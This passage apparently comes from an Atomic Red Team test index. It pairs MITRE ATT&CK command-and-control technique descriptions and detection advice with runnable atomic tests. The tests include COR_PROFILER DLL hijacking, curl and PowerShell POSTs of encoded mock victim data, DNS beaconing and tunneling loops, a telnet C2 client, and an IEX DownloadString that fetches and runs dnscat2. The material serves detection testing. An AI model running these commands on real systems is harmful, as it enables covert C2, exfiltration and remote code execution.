PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll clsid_guid: description: custom clsid guid type: string default: "{09108e71-974c-4010-89cb-acf471ae9e2c}" dependency_executor_name: powershell dependencies: - description: '"#{file_name}" must be present ' prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" executor: command: | $env:COR_ENABLE_PROFILING = 1 $env:COR_PROFILER = '#{clsid_guid}' $env:COR_PROFILER_PATH = '"#{file_name}"' POWERSHELL -c 'Start-Sleep 1' cleanup_command: | $env:COR_ENABLE_PROFILING = 0 $env:COR_PROFILER = '' $env:COR_PROFILER_PATH = '' name: powershell command-and-control: T1205.002: technique: modified: '2022-11-08T14:00:00.188Z' name: Socket Filters description: |- Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell. To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020) Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: 'Identify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters)' x_mitre_platforms: - Linux - macOS - Windows x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.0' x_mitre_contributors: - Tim (Wadhwa-)Brown - CrowdStrike x_mitre_data_sources: - 'Process: Process Creation' - 'Network Traffic: Network Connection Creation' type: attack-pattern id: attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520 created: '2022-09-30T21:18:41.930Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1205/002 external_id: T1205.002 - source_name: exatrack bpf filters passive backdoors description: 'ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of a passive backdoor. Retrieved October 18, 2022.' url: https://exatrack.com/public/Tricephalic_Hellkeeper.pdf - source_name: crowdstrike bpf socket filters description: 'Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022.' url: https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/ - source_name: Leonardo Turla Penquin May 2020 description: Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021. url: https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf - source_name: haking9 libpcap network sniffing description: 'Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008 Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022.' url: http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1132.001: technique: modified: '2023-03-03T00:31:33.071Z' name: 'Data Encoding: Standard Encoding' description: 'Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)' x_mitre_platforms: - Linux - macOS - Windows x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.0' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c created: '2020-03-14T23:36:52.095Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1132/001 external_id: T1132.001 - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: Wikipedia Binary-to-text Encoding description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017. url: https://en.wikipedia.org/wiki/Binary-to-text_encoding - source_name: Wikipedia Character Encoding description: Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017. url: https://en.wikipedia.org/wiki/Character_encoding object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1132.001 atomic_tests: - name: Base64 Encoded data. auto_generated_guid: 1164f70f-9a88-4dff-b9ff-dc70e7bf0c25 description: 'Utilizing a common technique for posting base64 encoded data. ' supported_platforms: - macos - linux input_arguments: destination_url: description: Destination URL to post encoded data. type: url default: redcanary.com base64_data: description: Encoded data to post using fake Social Security number 111-11-1111. type: string default: MTExLTExLTExMTE= executor: command: | echo -n 111-11-1111 | base64 curl -XPOST #{base64_data}.#{destination_url} name: sh - name: Base64 Encoded data (freebsd) auto_generated_guid: 2d97c626-7652-449e-a986-b02d9051c298 description: 'Utilizing a common technique for posting base64 encoded data. ' supported_platforms: - linux input_arguments: destination_url: description: Destination URL to post encoded data. type: url default: redcanary.com base64_data: description: Encoded data to post using fake Social Security number 111-11-1111. type: string default: MTExLTExLTExMTE= dependency_executor_name: sh dependencies: - description: 'Requires curl ' prereq_command: "if [ -x \"$(command -v curl)\" ]; then exit 0; else exit 1; fi; \n" get_prereq_command: 'pkg install -y curl ' executor: command: | echo -n 111-11-1111 | b64encode -r - curl -XPOST #{base64_data}.#{destination_url} name: sh - name: XOR Encoded data. auto_generated_guid: c3ed6d2a-e3ad-400d-ad78-bbfdbfeacc08 description: | XOR encodes the data with a XOR key. Reference - https://gist.github.com/loadenmb/8254cee0f0287b896a05dcdc8a30042f supported_platforms: - windows input_arguments: destination_url: description: Destination URL to post encoded data. type: url default: example.com plaintext: description: Plain text mimicking victim data sent to C2 server. type: string default: Path\n----\nC:\Users\victim key: description: XOR key used for encoding the plaintext. type: string default: abcdefghijklmnopqrstuvwxyz123456 executor: command: | $plaintext = ([system.Text.Encoding]::UTF8.getBytes("#{plaintext}")) $key = "#{key}" $cyphertext = @(); for ($i = 0; $i -lt $plaintext.Count; $i++) { $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length]; } $cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext) [System.Net.ServicePointManager]::Expect100Continue = $false Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive name: powershell T1568.002: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Ryan Benson, Exabeam - Barry Shteiman, Exabeam - Sylvain Gil, Exabeam object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd type: attack-pattern created: '2020-03-10T17:44:59.787Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1568.002 url: https://attack.mitre.org/techniques/T1568/002 - source_name: Cybereason Dissecting DGAs url: http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf description: 'Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.' - source_name: Cisco Umbrella DGA url: https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/ description: Scarfo, A. (2016, October 10). Domain Generation Algorithms – Why so effective?. Retrieved February 18, 2019. - source_name: Unit 42 DGA Feb 2019 url: https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/ description: 'Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.' - url: http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html description: 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.' source_name: Talos CCleanup 2017 - source_name: Akamai DGA Mitigation url: https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html description: Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019. - url: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html description: Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017. source_name: FireEye POSHSPY April 2017 - source_name: ESET Sednit 2017 Activity url: https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/ description: 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.' - source_name: Data Driven Security DGA url: https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/ description: 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.' - source_name: Pace University Detecting DGA May 2017 url: http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf description: Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019. - source_name: Elastic Predicting DGA url: https://arxiv.org/pdf/1611.00791.pdf description: Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019. modified: '2022-05-11T14:00:00.188Z' name: Domain Generation Algorithms description: |- Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019) DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation) Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: |- Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA) x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1071.004: technique: modified: '2023-12-26T20:54:38.721Z' name: 'Application Layer Protocol: DNS' description: "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_contributors: - Jan Petrov, Citi - Chris Heald x_mitre_deprecated: false x_mitre_detection: |- Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) Monitor for DNS traffic to/from known-bad or suspicious domains. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.2' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' type: attack-pattern id: attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72 created: '2020-03-15T16:27:31.768Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1071/004 external_id: T1071.004 - source_name: Medium DnsTunneling description: Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020. url: https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000 - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: PAN DNS Tunneling description: Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020. url: https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1071.004 atomic_tests: - name: DNS Large Query Volume auto_generated_guid: 1700f5d6-5a44-487b-84de-bc66f507b0a6 description: | This test simulates an infected host sending a large volume of DNS queries to a command and control server. The intent of this test is to trigger threshold based detection on the number of DNS queries either from a single source system or to a single targe domain. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout. supported_platforms: - windows input_arguments: query_type: description: DNS query type type: string default: TXT subdomain: description: Subdomain prepended to the domain name type: string default: atomicredteam query_volume: description: Number of DNS queries to send type: integer default: 1000 domain: description: Default domain to simulate against type: string default: 127.0.0.1.nip.io executor: command: 'for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type "#{query_type}" "#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}" -QuickTimeout} ' name: powershell - name: DNS Regular Beaconing auto_generated_guid: 3efc144e-1af8-46bb-8ca2-1376bb6db8b6 description: | This test simulates an infected host beaconing via DNS queries to a command and control server at regular intervals over time. This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout. supported_platforms: - windows input_arguments: runtime: description: Time in minutes to run the simulation type: integer default: 30 domain: description: Default domain to simulate against type: string default: 127.0.0.1.nip.io subdomain: description: Subdomain prepended to the domain name type: string default: atomicredteam query_type: description: DNS query type type: string default: TXT c2_interval: description: Seconds between C2 requests to the command and control server type: integer default: 30 c2_jitter: description: Percentage of jitter to add to the C2 interval to create variance in the times between C2 requests type: integer default: 20 executor: command: | Set-Location "PathToAtomicsFolder" .\T1071.004\src\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime} name: powershell - name: DNS Long Domain Query auto_generated_guid: fef31710-223a-40ee-8462-a396d6b66978 description: | This test simulates an infected host returning data to a command and control server using long domain names. The simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold. Upon execution, DNS information about the domain will be displayed for each callout. supported_platforms: - windows input_arguments: query_type: description: DNS query type type: string default: TXT subdomain: description: Subdomain prepended to the domain name (should be 63 characters to test maximum length) type: string default: atomicredteamatomicredteamatomicredteamatomicredteamatomicredte domain: description: Default domain to simulate against type: string default: 127.0.0.1.nip.io executor: command: | Set-Location "PathToAtomicsFolder" .\T1071.004\src\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} name: powershell - name: DNS C2 auto_generated_guid: e7bf9802-2e78-4db9-93b5-181b7bcd37d7 description: | This will attempt to start a C2 session using the DNS protocol. You will need to have a listener set up and create DNS records prior to executing this command. The following blogs have more information. https://github.com/iagox86/dnscat2 https://github.com/lukebaggett/dnscat2-powershell supported_platforms: - windows input_arguments: domain: description: Domain Name configured to use DNS Server where your C2 listener is running type: string default: example.com server_ip: description: IP address of DNS server where your C2 listener is running type: string default: 127.0.0.1 executor: command: | IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1') Start-Dnscat2 -Domain #{domain} -DNSServer #{server_ip} name: powershell T1573.001: technique: modified: '2023-12-26T20:58:19.356Z' name: Symmetric Cryptography description: Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_deprecated: false x_mitre_detection: |- With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - Windows - macOS - Network x_mitre_version: '1.1' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41 created: '2020-03-16T15:45:17.032Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1573/001 external_id: T1573.001 - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1568.001: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6 type: attack-pattern created: '2020-03-11T14:11:16.560Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1568.001 url: https://attack.mitre.org/techniques/T1568/001 - url: https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref description: Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017. source_name: MehtaFastFluxPt1 - source_name: MehtaFastFluxPt2 description: Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017. url: https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref - source_name: Fast Flux - Welivesecurity url: https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/ description: 'Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020.' modified: '2021-04-29T14:49:39.188Z' name: Fast Flux DNS description: |- Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity) The simplest, "single-flux" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity) In contrast, the "double-flux" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Connection Creation' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1071: technique: modified: '2024-01-17T22:52:23.454Z' name: Application Layer Protocol description: "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_contributors: - Duane Michael x_mitre_deprecated: false x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '2.2' x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6 created: '2017-05-31T21:30:56.776Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1071 external_id: T1071 - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: Mandiant APT29 Eye Spy Email Nov 22 description: 'Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.' url: https://www.mandiant.com/resources/blog/unc3524-eye-spy-email object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1071 atomic_tests: - name: Telnet C2 auto_generated_guid: 3b0df731-030c-4768-b492-2a3216d90e53 description: 'An adversary may establish telnet communication from compromised endpoint to command and control (C2) server to be able to operate more attack on objectives. ' supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Command and Control (C2) server cam be established by running PathToAtomicsFolder\T1071\bin\telnet_server.exe on specified server with specified IP that must be reachable by client (telnet_client.exe) ' prereq_command: | $connection = Test-NetConnection -ComputerName #{server_ip} -Port #{server_port} if ($connection.TcpTestSucceeded) {exit 0} else {exit 1} get_prereq_command: 'Write-Host "Setup C2 server manually" ' input_arguments: server_ip: description: C2 server IP or URL type: url default: 127.0.0.1 client_path: description: Client agent path type: path default: PathToAtomicsFolder\T1071\bin\telnet_client.exe server_port: description: C2 server port type: integer default: 23 executor: command: "#{client_path} #{server_ip} --port #{server_port}\n" name: powershell T1219: technique: modified: '2024-04-12T23:52:30.489Z' name: Remote Access Software description: "An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)\n\nRemote access software may be installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary-controlled system.\n \nAdversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.\n\nInstallation of many remote access software may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome’s Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_contributors: - Matt Kelly, @breakersall - Zachary Stanford, @svch0st - Dray Agha, @Purp1eW0lf, Huntress Labs x_mitre_deprecated: false x_mitre_detection: |- Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. [Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - Windows - macOS x_mitre_version: '2.3' x_mitre_data_sources: - 'Process: Process Creation' - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Connection Creation' type: attack-pattern id: attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7 created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1219 external_id: T1219 - source_name: CrowdStrike 2015 Global Threat Report description: CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018. url: https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf - source_name: CrySyS Blog TeamSpy description: CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat’ tolko s razreshenija 